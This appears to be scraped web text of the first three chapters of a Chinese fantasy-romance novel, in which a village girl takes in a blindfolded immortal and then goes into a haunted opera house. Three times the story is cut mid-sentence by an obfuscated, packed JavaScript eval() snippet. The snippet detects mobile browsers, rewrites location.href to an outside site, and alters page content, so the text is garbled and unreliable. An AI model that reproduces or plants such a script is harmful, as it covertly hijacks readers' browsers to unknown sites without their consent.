《睁眼和宿敌有崽了》 1. 初见 山雨欲来,墨云低垂,天际压着一线昏沉的光。往南紧邻魔界不周山,传说非人境,这座山没有名字,正像这个村子没有名字。 村庄十几户人家紧紧相依,蜷缩在山脚下,依偎着高山流水,村子里的芍药却开得红艳艳的,仿佛一瓢血,泼在林间。 都说着芍药象征着死亡,但只有一个人,喜欢这些芍药。李安素低头正准备摘花,听见远处传来隔壁大婶的声音。 “安素啊,你在这儿啊,你看见我家铁蛋了吗?”一个中年女人探头喊着。 这村子里总共就十几家,大多都相互熟悉,李安素摇头,“王婶,铁蛋不是放学回去了吗?” 王婶急头白脸奔来,头上的汗也来不及擦,“没有啊,这死小孩,也不知道去哪里鬼混了,这山上黑灯瞎火的,孩儿他爹又不在家……” 李安素看向山上,云雾缭绕,远处的乌云已经压顶,这山上海拔高,梅雨季节可不好上山的。 王婶觉得自己也是糊涂了,李安素最是没个正形,这种事情问她也没用啊。 “王婶。”李安素忽然开口说,她背上背篓,“我上山一趟,看见了铁蛋就带回来,您就宽心吧。” 她冲女人笑了下,说着就绕路上山了。 潮湿的雨季总是带着一股浓郁的泥土气息,人间的山林更是如此,一片寂静之中,一个身影在其中穿梭。 这是南国边境的一个小村庄,鲜少有人来,她在这里长大,也在这里懂事。 少女背上背着一个竹编背篓,里头装着一些天麻,她步履急促,远远瞥见一道身影站在竹亭中。 “是、是夫子吗?”李安素喊了声前面的人,却没有一点反应,那男人穿着一件雪色青衫,在昏暗的树林间很是打眼。 白衣,黑发,身形如人间修竹,白衣不染纤尘,衣袂翩跹,如云如雾。往那一站,周遭绿叶竟成了陪衬。 看着正是学堂夫子的模样,李安素再次开口:“夫子?你是学堂的夫子吧,我是村里的,你看见铁蛋了吗?” 李安素偏过头,男人鼻梁高挺,唇瓣不点而红,即便看不清面容,但她还是忍不住细看。 明明只是个人而已,她也看不见脸,可她就是移不开眼了。李安素注意到他的衣服干燥,而她的衣服都淋湿了, “夫子?”李安素等不来男人的回应,只好又叫了一声。 “……我不是。”男人语气清浅,音色如玉石叩击,一开口,李安素觉得四周更冷了。 那学堂的夫子都四十好几了,她虽没见过,却也知道眼前这个人不是普通人。 “是我失礼了。”李安素连忙抱紧自己的手臂,频频盯着蒙眼的男人,她的好奇都快要溢出来了,“请问公子是从哪里来的?又要往何处去啊?” 李安素仗着他蒙眼,视线紧紧盯着他,可男人转过头来,隔着眼纱精准地“盯”住了她。李安素心头一滞。 男人唇线绷成一条直线,良久才说:“不知道。” 这天大地大,他似无根之树,昨夜奉天命下凡查看魔界封印,却不想在林间遇上了一个凡人女子。 李安素看了眼远处的天空,悄悄打量气度不凡的男人,“真可怜……不周山就在前头,这一块经常有魔兽出没,公子还是快走吧。” 感觉确实长得不错呢,李安素稀罕长相俊俏的人,尽管想一窥真容,但眼下时机不对。 “铁蛋,铁蛋!” 在山腰找了一圈,却不见孩子的踪影,李安素也有些紧张了,夏季是猛兽出没的时节,成年人上山都有可能被老虎叼走。 李安素掌心出汗,昨夜下了雨,地上湿滑,她要用手抓着旁边的枝叶才不至于滑倒。 蓦然回首,雾气已经看不清远处的亭子,而那白衣男人竟还矗立在那,仿佛在等什么人。 天上又开始“隆隆”打雷,还伴随着雨滴,李安素心一紧,挥了挥手,却又想起他看不见,“公子!你跟我下山吧,这太危险了!这山上有大虫,会吃了你的!” 男人背对着她,也不知道听没听见,李安素一股气涌上来,不听好人言。 “公子!这位公子!你还是赶紧和我下山吧,再晚一些,山路可就封了,你孤身一人,在这属实不安全。”李安素上手,直接拉着他的手腕站起来,“你是外地的吧,这山上可不是什么好地方!” 这座山前靠魔族后靠妖族,外地的都不敢来,李安素也是头一回见有这么傻的人。 李安素回头,又扯了扯男人,她想起前段时间赌钱都没赚,就当做件善事了。 男人未有挣脱,他唇齿轻启:“岐晔。” 李安素这才反应过来,这说的应该是男人的姓名。 “还起夜呢,你要是今夜不下山,明日都没魂了。”李安素撇了撇嘴,指着远处,“喏,从这儿走,不一会儿就有马车来了。” 李安素看着男人光溜溜的腰间,也没带钱包,她才不管呢,摆摆手就准备离开。 “等等。”岐晔忽然开口,“多谢姑娘,你若是有什么心愿,尽管和我说。” 李安素站住了,她最缺什么?当然是缺钱,但…… “我想要财运亨通,你有办法?”她开玩笑似的说了句。 岐晔没有犹豫,立刻点了点头,这种小事情也就在财运簿多添一笔的事情。 李安素不信:“那就多谢了,我先走了。” 李安素大步向前走,她正了正自己的帽子,挡住迎面吹来的雨,就听见身后传来一声怒斥,是驾马车的人。 马车李二德手里握着马鞭,警惕地盯着岐晔,“哪里来的瞎子?还想要坐我的车?你是唐家村的?我怎么从来没见过?” “我不是村里的。”岐晔冷声说,已经有些烦躁了,果然,刚刚那样好心的凡人不多。 “滚一边儿去,没钱还想坐车?”李二德翻了个白眼,话还没说完,被一个什么东西戳了戳肩膀。 李安素握着一根棍子,仰头望着他:“李二德,你就好心搭他一程,也算是做件好事了。” 李二德脸一红,可立刻又没了好脸色:“好事?李安素,你上回把我的聘礼扔出门的时候,可没想过有这么一天吧?” 李安素拧眉,说起这个“聘礼”她就一肚子火,而李二德还在说:“这村子里,哪个不知道,我看上你了,你不嫁给我,还能嫁给谁?” 村里头要是有个年龄合适的,要是条件再好点,门槛都会被踏破,李安素虽然条件不好,但冲着她这张脸来的男人也不少。 李二德就是其中一个。 只可惜李安素从不拿正眼看人。 “我知道了,你就是喜欢那个唱戏的,你就是嫌老子长得不斯文……啊!” 李安素手里的棍子敲在李二德身上,断成两半,“不是吧,李二德,你一个臭拉车的,还想要娶我?别癞蛤蟆想吃天鹅肉了,我跟你说话是拿你当个人,再说了,我什么时候答应嫁给你了?” 她心生一计,回过头,扒拉过一旁的岐晔,“你看好了,这才是我要的男人,我们马上就要成婚了,你滚远点吧,就你那点聘礼,不知道的还以为你给姑奶奶上的贡品!” 李二德铁青着脸,一句话也说不出来,他冷哼一声,大力抽着马背,“我走,看你男人怎么出山!” 李安素狠狠“呸”了一声,反应过后又懊恼地叹了口气,“岐晔?岐晔,你怎么了?” 她盯着发愣的男人,“叫你怎么发呆呢。” 岐晔缓缓偏过头,“你叫什么名字?安素?” “是啊,我叫李安素,村里人取的,好听吧?”她看向岐晔,却觉得他脸色不好,“岐、晔?你怎么不说话了?” 岐晔反应过来,不过是一个名字罢了,那人都已经被封印了,这世间不可能再出现另一个魔头。 他摇头,“刚刚给姑娘添麻烦了,是小生愚钝,我这就离开。” 李安素望着他的背影,恰好一道雷电在头上闪过,她一时心里不忍,“哎!算了算了,这么晚了,你也没地方去,跟我回村子吧。” 岐晔点头,跟在她身后,刚走出一步,又听见她说:“你有没有钱?” 岐晔静默片刻,摇头。 李安素叹了口气,“得了,今天也是我害得,就不该嘴痒和那畜生吵架,不用你的钱,先让你住着吧。” 岐晔跟在她身后,说来也奇怪,明明看不见路,但每一步都走得相当稳,连声音都没有听见。 一股冷风吹进领口,湿热的空气令人透不过气来,头顶的墨云淹没了树林的高处她看向远处,好像听见了什么动静。 “安姨,安姨……是你吗?”一道颤抖的声音传来,一个穿着橙色衣裳的孩子站在树枝上。 李安素吓得一弹:“铁蛋儿!?你怎么上树了!你这臭小子!” 她嗓门大,一嚎就把树上的鸟都叫走了,她看了看,离下山的路还有一段距离,这树上湿滑,上去了就不好下来。 “你待着别动!”李安素放下背篓,仰头站在树下,“你慢慢下来啊!抓着我的手!” 李安素全神贯注,可铁蛋无论如何也不敢下来,撅着个屁股背对着她,“你瘦不拉几,我才不敢呢,你接不住我!我、我要大哥哥!” 铁蛋瞥见站在一旁的岐晔,像是看见了救星,“救救我!” 李安素双手叉腰,一时有些尴尬,“你这臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406154|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小子,人家才不会接——” 话没说完,身边伸出一双手,岐晔两手朝上,“下来吧,我接着你。” 铁蛋一跃而下,一束凡人看不见的法力环绕住他,正正好被岐晔接住。 “得救了!一点都不疼!”铁蛋被放在地上,左看右看,“大哥哥,你怎么蒙着眼睛?” 岐晔启唇说:“因为看不见。” 铁蛋伸出手对着李安素,“给你!” 李安素低头一看,抽了抽嘴角:“为了上树摘这个,差点给你娘急死了知不知道?” 她推了一把铁蛋,又看向岐晔,男人雪白的衣袍沾了点泥土,总归没那么好看了,“岐晔,你的衣服弄脏了,你赶紧和我回去洗一洗……” 岐晔:“没事,我不在意这个。” “我在意!你这衣服一看就不便宜,这料子,弄脏了多亏啊!”李安素盯着衣服上的那一块污渍,忍住上手摸的冲动,“你一看就是有钱人家的,没点心思。” 李安素念叨着,让铁蛋回去了,她则带着岐晔往自己屋里走,推开门,里头一眼望到头:一张床、一张桌子、一把椅子一口锅。 不过好在岐晔看不见,她倒也没有什么不好意思的,“进来吧,你今夜睡地上,明日一早就走。” 岐晔淡淡应了一声,坐在椅子上,房间里萦绕着淡淡的香气,他从这其中感受不到半点熟悉的气息,只有少女独特的馨香。 李安素抖开被子,梅雨季节稍不注意被子就湿了,她一般都把被子放在柜子里,但今夜有人要来住,她还真没有多余的被子。 “你……你晚上睡觉需要被子吗?”李安素期许地盯着岐晔,多希望他能生生睡在地上。 岐晔:“要。” 李安素撇了撇嘴,指着锅灶:“我去生火,你没事不要过来。” 岐晔坐在椅子上,一动不动,称得上乖巧,但李安素可不是乖巧的人,她一边生火一边说话:“你从哪里来的?” 岐晔只道:“东边。” “你家有钱吗?”李安素看了眼瘪瘪的钱袋子。 “没有。” 李安素不信,能穿白衣服的哪是什么简单人物。她看着岐晔穿的白色天丝,又瞥了眼自己打满补丁的粗衣。 岐晔想了想,反而问了一句:“姑娘是这个村子里的人吗?一个人住?可有父母?” 李安素把桌子擦干净,把中午剩的小半锅饭煮成粥,“我是孤儿,原本收留我的人走了,就只剩我一个人。” 岐晔沉默良久,才像是想起什么,“节哀。” 李安素动作迅速地收拾起东西:“不是死了,是跑了,房子留给我,人走了。” 岐晔心里生出一点心疼,凡人的生命短暂而波折,幸运者实在少数。 “你说你要睡被子,我可告诉你,我这里没有,你想都不要想。”李安素把米粥推过去的时候碰到了岐晔的手,男人的皮肤冰凉,她立刻摸到他额上,温度滚烫,“你发烧了!?” 岐晔张了张嘴,还没来得及说什么,就被一把草药封住了嘴,他愣了愣。 “快嚼啊!还愣着干什么,你真是傻子。”李安素抿唇,在房间里转了几圈,“算了算了,床让给你,你这病秧子可快些离开吧,别给我添堵了。” 岐晔咽下那些草药,他已经辟谷几百年,吃下东西并不觉得难受,味觉有些迟钝,好一会儿,苦涩才渐渐明显。 “你咽下去了!?”李安素震惊,“你真是傻子啊,这玩意儿不能吞!” 李安素摇摇头,“吃、吃点东西吧,你要是有钱可一定要报答我!” 她这家徒四壁的还救人呢,还不如等人来救济。 岐晔张嘴吃下一口粥,甜蜜的味道溢满了整个口腔,他握住勺子的动作一顿,又喝了几口,“甜的……这是甜的吧?” 正喝粥的李安素一愣,一脸看傻子的模样,“米粥当然甜的。” 岐晔抿唇,这模样在李安素眼里是已经饿得神志不清了,连酸甜苦辣都不知道。 岐晔很久没有吃过东西,他已经快忘了自己身为凡人时候的生活,他原本以为自己已经没有味觉了。只是这碗粥很甜。 “别、别吃了。”李安素紧张地盯着空了的锅,“你看着挺瘦弱,没想到吃起东西来还挺厉害……” 可不能再让这个男人吃饭了,她真怕把家里的米缸吃空了,这饭桶,她在心里悄悄骂。 “多谢姑娘,姑娘的恩情我记住了。”岐晔不太清楚凡人之间的礼节,他已经不知道多久没有和人说过话了,倒也不觉得寂寞。 李安素奇怪地打量了一下,“你这眼睛也看不见,一个人怎么会来这地方?” 2. 漂亮 “咳,是我走路不小心,迷路了。”岐晔僵硬地说,也不知道李安素信了没。 李安素当然不信,但她不关心这个,“今天就当我做了件善事,你明日出去之后不要再往南了,再往南就是魔族。” 她端着空碗往外走,刚放下碗,就听见身后传来口哨声,她不耐烦地说:“吵什么吵?” 回头一看,一个高挑的男子靠在树上,“哟,吃饭呐。” 张辰溪凑上前,露出一脸谄媚的笑,“你说你,好好一个姑娘,不待在家里相夫教子,天天往外跑干什么?你今日还上山找铁蛋,啧啧……嗷!” 李安素推开他,“去去,别挡路。” 她把洗干净的碗摞一块放进橱柜里,说是橱柜,其实就一个棚子,还漏水了。 “李安素,有钱没,借点?”张辰溪鼓起勇气,凑上前,“给你。” 他放了一个布袋子在桌上,“算是我求你了姑奶奶。” 李安素瞥了眼,两根手指挑开布袋子的口,一看是红糖,原本不想答应,可想到家里多了一个病号,她忽然顿住了。 “又要赌钱?”李安素思索了片刻,掏出钱袋子,“上回都输光了,被打得半死还是我把你弄出来的,现在又去赌,你真是狗改不了吃屎。” 张辰溪双手合十,喜滋滋接过钱袋子,一转眼看向窗边,顿时傻了,“我去,李安素你藏男人?” 李安素一个激灵看过去,白衣身影站在窗户下,正静静地听着,她连忙用竹篮推开张辰溪,“快走吧你。” 张辰溪离开后,李安素才端着红糖水走进去,“你刚才都听见了?” 岐晔抿唇,手足无措,“抱歉,我不是有意的。” 李安素挑眉,把红糖水放在男人手里,“你还在发烧,我呢好人做到底,你就好好待在这。” “刚才那个……”岐晔犹豫了片刻,“是你的……” 他一时间忘了配偶用凡人的话怎么表示,空气一时间陷入沉寂。 “他?他就是无赖,和我能有什么关系。”李安素开玩笑似的坐下来,又习惯性地碰了碰岐晔的额头,“好多了,喝红糖水可以治百病,这是以前有人和我说的。” 红糖不便宜,一直都是稀罕物,李安素自己都舍不得吃,这是她能想到的最好的东西。 岐晔垂头,心里却一直回想着她尚未婚嫁的事情,“谢谢。” 这个姑娘虽然奇怪,但内心善良,没有坏心思。 岐晔伴生之时有一双能识别世间善恶的阴阳重瞳,但为了封印安愫失去了这个法器,现在他也不屑于用肉眼看东西。 一夜之间,李安素带回来了个男人的事情传遍了村子,李安素倒是不在乎,但有人可急了。比如村里的媒婆,一个个都指望着给李安素说门亲事赚钱。 一个个的上门来,进院子就说:“安素啊,不是婶说你,这婚姻大事——” 这一进来,瞬间傻眼了,只见院子里,一个男人坐在凳子上,手里拿着一件小衣,听见声音缓缓转过了头。 那几个媒婆一个个愣在原地,就见李安素从里屋跑了出来,“你你你你们几个怎么不敲门就进来了?” 李安素看了眼岐晔,男人不知道在干嘛,待到她看清楚他手里拿的东西,她耳朵脖子瞬间就通红了。 “都别看,都别看!”李安素一把拽住岐晔,夺过他手里的东西就往屋子里走。 岐晔茫然,分辨不清李安素的位置,“姑娘怎么了?” “你从哪里拿来的?”李安素眼神乱瞟,“你你你……算了,你在这里等着!” 她打开门,深呼吸一口,挤出一个笑:“几位婶婶,你们怎么来了?” 媒婆们都是见过大场面的,可还是有几分震惊,其中一个上了年纪的拉过李安素:“那是你男人?” 李安素没想到会问得这样直白,“这、他就是我捡来的,我见他可怜,眼睛又不好,才把人带回来的。” 媒婆们面面相觑,“我们都听人说了,现在村子里都是你的风言风语,你上回说听我的去见见村头那光棍,现在好,谁还敢要你!” 李安素撇了撇嘴,“搞得好像我稀罕那种货色……” 几个媒婆你一句我一句,被李安素推着出了门,她倒是不在乎自己的名声,但岐晔多多少少听明白了,等她一进来就立刻道歉。 “李姑娘,我是不是给你添麻烦了?我向你赔罪,那衣服……”岐晔站起来。 李安素一见他还拿着那件小衣服,暖黄色的布料在男人手里,只需要一个手掌就能完完全全包住,她一把抢过那衣服。 “你怎么还拿着这玩意儿?你不会真是脑子不清白吧?我把你带回来,你可不要恩将仇报!” 李安素眯了眯眼睛,“你从哪里弄来的?” “掉、掉在地上了,我不知道是什么东西……就捡起来了……”岐晔喉头滚了滚,头一回觉得自己看不见是一件烦心事。 “男人都是色胚!我呸!”李安素小声骂了一句。 岐晔手掌握紧了,他从来没有被人这样说过,上回这样还是安愫,他有些紧张,却不是愤怒,“我、我可以补偿你。” 李安素冷哼一声,完全没有接受的意思,“可算了,你病好了赶紧走就是最好的,不过呢,这样一来,至少那些媒婆不会再来烦我。” “多谢姑娘救命之恩,我一定不多打扰……咳咳咳!”岐晔话还没说完,喉咙里涌上一点血气,剧烈地咳起来。 男人精瘦,穿着衣服不显得强壮,李安素又是个粗人,盯着他不断抖动的胸口,“哎呀算了算了……” 李安素皱眉,也有些不忍心了,“你要是一直不好,我也不会把你赶出去的,只是……我家里实在没有米了,我要去买米。” 岐晔低着头:“我不会影响你的。” 说是这样说,李安素戴上包袱走到门口时,回头看了眼他,男人还端坐在椅子上,眼纱下是一张不点而红的唇瓣,头发乖顺垂下来。 他可真不像是个普通人。 李安素拧眉,心底被愧疚和不安笼罩,好像自己把人抛弃了似的。 “你……想和我一起去吗?” 岐晔站起来,没有犹豫,“去。” * 每月十五号,村头会来一批车队,用来交换货物和村民出入,而现在梅雨季节,卖得最好的就是天麻。 李安素早晨清点了一些天麻,盘算着这能换多少肉菜,她扭头看了眼岐晔,“你也别傻站着,帮我搬东西啊。” 李安素使唤起人十分自然,她把一个竹筐塞到岐晔手里,走在前头,“你跟着我走,别跟丢了。” 村头人头攒动,抱布贸丝,商队排成一列,和村中民众交易,街道两旁是小摊小贩,桌上都是些货物。 李安素来晚了,已经没有位置了,她没好气地瞥了眼跟在身后的男人,就听到远处传来男人的声音。 “李安素!”这声音喊得亲热,岐晔脚步一顿。 李安素走上前去,伸出手来,“钱呢?” 张辰溪挠了挠头,“钱……还没有,但我这里有好东西!这可是怀先生题的扇子,你快收着!” 李安素一听,连忙伸手接过,“真的是怀先生写的?你可不要骗我……” 她不太认识字,但落款处写着的“怀成毓”还是认得,“真是怀先生的!你行啊你,你哪儿来的?” 李安素喜滋滋地摸了又摸,“我都好久没去过镇上了,也不知道怀先生有没有出新戏?” 张辰溪嘿嘿笑着,“那肯定啊!你没发现你每次去都能碰上他唱戏?这就说明你和他有缘分!” 李安素脸一红,背着天麻往前头走了,只留下岐晔站在原地。 他感受到离去的气息,开口说:“怀先生是谁?” 张辰溪原本就颇为好奇,一听这话差点吓得下巴掉下来,他盯着面色不改的男人,好半晌才确定他在和自己说话,“哦,你说怀先生啊,是镇上庆丰楼唱戏的,还很有学识呢,大家都喜欢。” “你这个瞎子,还挺有意思啊,你也听戏?”张辰溪吊儿郎当站在岐晔身边,越想越觉得有意思,“嘶,你和李安素到底什么关系啊?” 岐晔没理会,张辰溪立刻拉下脸,冷笑一声。 李安素换了些铜板,又去买了点米和油,她舍不得,看了又看,最后还是买了一块猪肉。 她自己也就算了,反正常年是这样,但岐晔不一样,他还病着。 李安素抿唇,又买了一点鱼肉。 往回走,人已经几乎把眼前的视线淹没了,她于是往前走,等到身边的人都往后退,她才注意到一片雪白的衣袂。 不怪李安素看不见其他人,而是他实在太显眼了,周围都是暗沉沉的颜色,只有他穿着一身雪白的衣裳。 她心腔仿佛被什么东西击中了,李安素勉强忍着冲动走上前,“好了。” 岐晔偏了偏头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406155|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那,回家吧?” 李安素一愣,好半晌才找回自己的声音,连忙晃了晃头,带着自己的东西往前走,不想被人拦住了去路。 李二德不知道从什么地方过来的,满头大汗,五大三粗的个子,周围的男人都自觉退出几丈。 张辰溪拨开人群:“李二德,你怎么又来了,不都说了,这个月没有你要的货物……” “李安素,你还和这个男人待在一起!”李二德语带控诉,“你马上把这个男人赶走!” 李安素挑眉:“和你有什么关系?” 李二德脖子一梗,环视一圈,“这里谁不知道,你是我的人!我明明都——” 李安素一阵无语,她用力打开李二德的手,在空气中发出“啪”的一声,她忍着气:“你少胡说八道,别用你的手指他!” 李二德沉默片刻:“你们都看见了?她!李安素!袒护这个来历不明的男人!两个人肯定有猫腻!” 一个女人走上来,最是喜欢嚼舌根子,“安素啊,你都收了李二德的东西了,按道理就不该再和其他男人有牵扯了……” 岐晔抿唇,站在了李安素和李二德中间,他平静开口:“我确实不是本地人,但不是来历不明的,是李姑娘救了我,我感激不尽。” 李安素悄悄扯了扯他的手:“你别说话,让我来。” 李安素盯着李二德,冷笑一声,走上前,所有人都在等着她说什么狠话,谁知道她只是一把抓过岐晔的手,“随你怎么说,我李安素要嫁也要嫁样样好的男人,你算什么东西?” 她扯着岐晔,嘴里说着自己要嫁的人,意思是什么再明显不过了,岐晔没有挣扎,直到李安素放开自己。 李二德被她伤到了,“你、你看上这个男人了?他细胳膊细腿的,能给你什么好日——” 话还没说完,李安素高高扬起手,作势要打人,小小的身子站在李二德面前竟真有一种威慑力。 李二德立刻横着眉毛,低头看着她的眼睛,一瞬间,仿佛看见了火焰,女孩眼中的杀意已经溢出来了,他迟疑地定住了。 “你看见没,李二德真的怕李安素……” 李二德连忙晃了晃头,“你们!胡说什么!我怎么会怕她……” 李安素勾唇:“我要是再听见你到处抹黑我,老娘把你剁成臊子喂旺财!” 旺财是村头的一条狗。 说完,李安素已经牵着岐晔往人群外走去,很快消失在视线中。 说完那样的话,李安素心里也忐忑,但只要想到以后都能摆脱李二德,她就觉得浑身轻松,身后跟上来张辰溪。 “李安素!”张辰溪气喘吁吁,一只手搭在李安素肩上,“你、你是这个。” 他比着一个大拇指,李安素耸肩,“早就想这样说了,你有事?” 张辰溪从兜里掏出一个小包裹,“送你的,吃吧。” 李安素打开一看,是一块卤牛肉,虽然已经凉了,但还是散发着浅浅的香味,是不错的牛肉,她反手递给岐晔,“吃吧。” “你、你给他吃干什么?!这是我给你的!”张辰溪红着脸说。 李安素看向他:“人家生病了,眼睛还不好。” “那怎么了!”张辰溪不高兴了,盯着岐晔,“你看上人家的皮囊了吧?肤浅。” 李安素往院子里走,回头要关上院门的时候被张辰溪拦住,她抬头,“又干嘛?你还不还钱了?” 张辰溪挠了挠头:“你今个儿还来不来?赌场,你不来都没意思了。” 李安素走在前头,没注意身后岐晔的表情,她思考了一会儿,“行,你等我吧。” 她关上了门,一回头就对上岐晔的“眼睛”,尽管看不见男人的眼睛,但眼纱材质细软,勾勒出他修长的眼型。 怎么说呢,这双眼睛微微向上勾,仿佛藏了个小钩子,像远山、像玉珏,她脱口而出:“岐晔,你要是眼睛没坏,肯定好看。” 见他不答,李安素还颇为严肃地说:“你看,你个子高,长得脸又小,皮肤还白,身上还……” 李安素手撑在岐晔的肩头,低头看着他,丝毫没觉得这距离不合适,岐晔也不阻止。 岐晔抿唇,和安愫斗智斗勇那几年,他倒是经常听见她说自己难看,没想到也有一天会被人这样评价。 他微微勾唇:“哦,还有吗?” 李安素捋着下巴:“嘴唇很红,头发很软,也不是俊俏,是……漂亮!” 3. 幽瞳 李安素忽然叹了口气,“可惜你的眼睛不能好了,不然我真想看看。” 岐晔“嗯”了一声,“你想看吗?” 李安素点头,“能看?” “能。” 片刻后,岐晔的手绕到耳朵边,他取下自己的眼纱,还闭着眼睛,那眼睛的形状果真和想的一样。 眼型不是圆的,眼头偏尖锐,眼尾向上勾,她从未见过这样的眼睛,令人想象不到他睁眼的模样。 李安素心一软,旋即就是阴暗的心思,她从没见过这么好看的人,凭什么这样的人要离开,凭什么这样的人不能永远属于她? “你、你能睁开眼睛吗?”李安素把男人拉到房间里,她小声说,“我只看一眼。” 岐晔眼皮轻轻颤了颤,一只手伸到自己的脸上,抬起他的脸。他有些错乱,原本只是满足她一下,现在似乎有些难以收场了。 “……”李安素抿唇,生怕弄疼了他,手掌下的脸细软得不可思议,这样一对比,她的手掌是不是太粗糙了? “咚咚咚!”一阵急促的敲门声传来,打断了房间里的气氛,李安素连忙抽身离开。 只留下坐在床边的岐晔,他手里攥着那条眼纱,好半晌才反应过来,他这是……被这凡人调戏了吗? “是刘姑姑啊,您有什么事啊?” 一开门,李安素对上一张苍老的脸,她急忙让人进来。 “安素,你是不是病了?这脸也忒红了。” 李安素捂着脸,瞥了眼已经重新戴好眼纱的男人,这才一转眼就戴好了? “刘姑姑,您放心吧,我就是热的。” “那我跟你说,我听人说现在镇上在闹鬼,还是色鬼!”刘姑姑左右看了眼,最后看向岐晔,“就是这样的!安素!你快把人赶出去!” 看着刘姑姑语无伦次的模样,李安素轻咳一声,“刘姑,他不是……您仔细说说,是什么样的鬼?” 刘姑姑不放心地盯着岐晔,“据说这鬼长得好看,现在就在镇上的庆丰楼,哎哟……” 李安素一愣,缓缓转过头来,“刘姑,您说什么,鬼就在庆丰楼?是真的吗?” 她说着已经站起来了,当即就开始换衣服,“您知道怀先生现在在哪儿吗?” 她语气着急,刘姑姑也想起来李安素最紧张怀成毓,她连忙跟上去,“这、这么晚了,你现在去镇上?” 李安素半点不犹豫,出门前回头看了眼岐晔,“桌上有饭菜,你记得吃,我先出去,不要跟来。” 她关上门,看向刘姑姑:“我一定要去,怀先生与我有恩,救人一命胜造七级浮屠,刘姑姑,您带我去吧。” 刘姑姑纠结了许久,最终还是同意,她点了点头:“那你跟上辰溪他们一起去吧,但你一个姑娘……怀先生平时多行好事,定然会有佛神相救的。” 李安素没回这句,她不信鬼神,尽管见过不少魔族掠夺财产,甚至死伤无数,她就没见过有什么佛神救人。 房门被“砰”的一声关上,只留下一个坐在黑暗中的岐晔,房间里原本就没有点灯,他缓缓抬手,眼纱凭空消失,他睁开眼。 他的瞳孔不是正常的黑色,呈现一种青色,看向瞳孔深处的时候仿佛有一汪清水,片刻后,那眼睛恢复了寻常黑色。 * 张辰溪看见李安素真的来了,不淡定了。 “刘姑!不是我说您,这事情告诉她干嘛!她是男人吗?!”张辰溪立刻就嚷嚷起来,“她一个弱女子有什么用!” 李安素平视他,从包里拿出一把柴刀,这是她能找出来最有力量的东西了,她手指动作了一下,那柴刀就在手腕上转了一圈,又回到了手里。 “哟,有两把刷子啊,安素!咱们村子里就是需要你这种有胆识的力量!”驾车的男人哈哈大笑,稳稳把车停在了路边上。 “现在楼里有两个人,一个是村上的陈寿,一个是庆丰楼怀先生,你们从前门走,我和其他人从后门走。”张辰溪随口说了句,让李安素一个人站在前门。 她仰头看了眼前门,大门上一把锁,她知道,张辰溪还是不愿意她进去。 “我要进去。”李安素瞪着张辰溪,“如果因为我没进去出了什么事情你负担得起吗!?” 张辰溪眯了眯眼,“我们都在这里,一会儿就给你开了门,你担心什么?” 李安素看了眼天色,已经不早了,路上花了点时间,这会儿太阳已经被吞没了。 “我为什么不能一起进去,都是一起来救人的。”李安素往前走了一步,被张辰溪拦住,她仰头,在他眼底看见了紧张和坚持。 “安素啊。”一个中年男人笑盈盈地转过头来,“辰溪说得对,你在前门给我们做好后备,很快就出来了。” 李安素看向男人们手里拿着的桃木剑和符纸,半晌没动。 “何况这里还有大师,你就不要担心了,我们一定把人安全带出来。” 一个道士打扮的老人从后走出来,嘴里还念念叨叨,张辰溪最后回头看她一眼,给她使眼色。 天色不早了,那几个人从后门进去后就天黑了,镇上因为闹鬼已经没多少人了,街上连一盏灯都没有。 凉风吹来,李安素缩了缩脖子,已经不知道多久没有听见动静了,她凑近门口,“喂。” 她敲了敲门,回头看了眼远处的光,似乎有一束光投射过来,她握紧手里的柴刀。 “张辰溪!”李安素拍了拍门,木门被拍得晃动,却始终没有人回应。 李安素咽了咽唾沫,她也害怕,唯一值得放心的是她力气不小,尽管懒惰了一点,但保护自己应该还是没有问题。 李安素手放在木门上,竟觉得有一丝热意,她轻推木门,看见里头黑漆漆的一片。 庆丰楼是镇上最大的戏楼,怀成毓是戏台子,除此之外还有最好的厨子,李安素曾以为世上最繁华的地方就是镇上,现在却成了这样。 地上都是木头碎片,灰尘眯了眼睛,她只能依稀辨清是椅子。 她经常从后门溜进来看怀成毓唱戏,对于这后门的地形比前门还熟悉,尽管看不清楚,走得还算稳当。 忽然,脚下踩到了什么东西,她低头一看,瞬间白了脸。 一张皱巴巴的人皮掉在脚边,还带着淋漓的血肉。 李安素吓得满头大汗,竭力咬住嘴唇,气息减缓,走到院子里的时候,她眼前渐渐笼罩起一层薄雾。 庆丰楼一共四层,中间是天井式的,只看得见一轮明月在中央,除此之外,就是雾气。 “这大晚上的,哪里来的雾气?”李安素嘟哝着,很快,这些雾气像是听见了她说的话,缓缓往两边散开。 院中原本空荡的地方,缓缓显现了原本的模样,李安素整个人僵硬站在原地。 面前一字排开好几根尖锐无比的铁针,不管是哪一个都能轻而易举地劈开她的头,铁针速度飞快,直挺挺向她飞来。 “呼——!”破空声在耳边响起,一条手臂用力揽过她的腰,她扑在一个胸膛上。 李安素睁开眼,向上看去,对上一双幽幽的瞳孔,她看不清面容,只能看清那双眼睛。她恍惚间看见了一汪清水,又似一口深潭。 “公子小心!”李安素瞪大了眼睛,看向他身后,透过他的肩头,密密麻麻的铁针直指他们两人。 她本能地抱紧了面前的人,被一把揽住,眼前一闪而过的是好几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 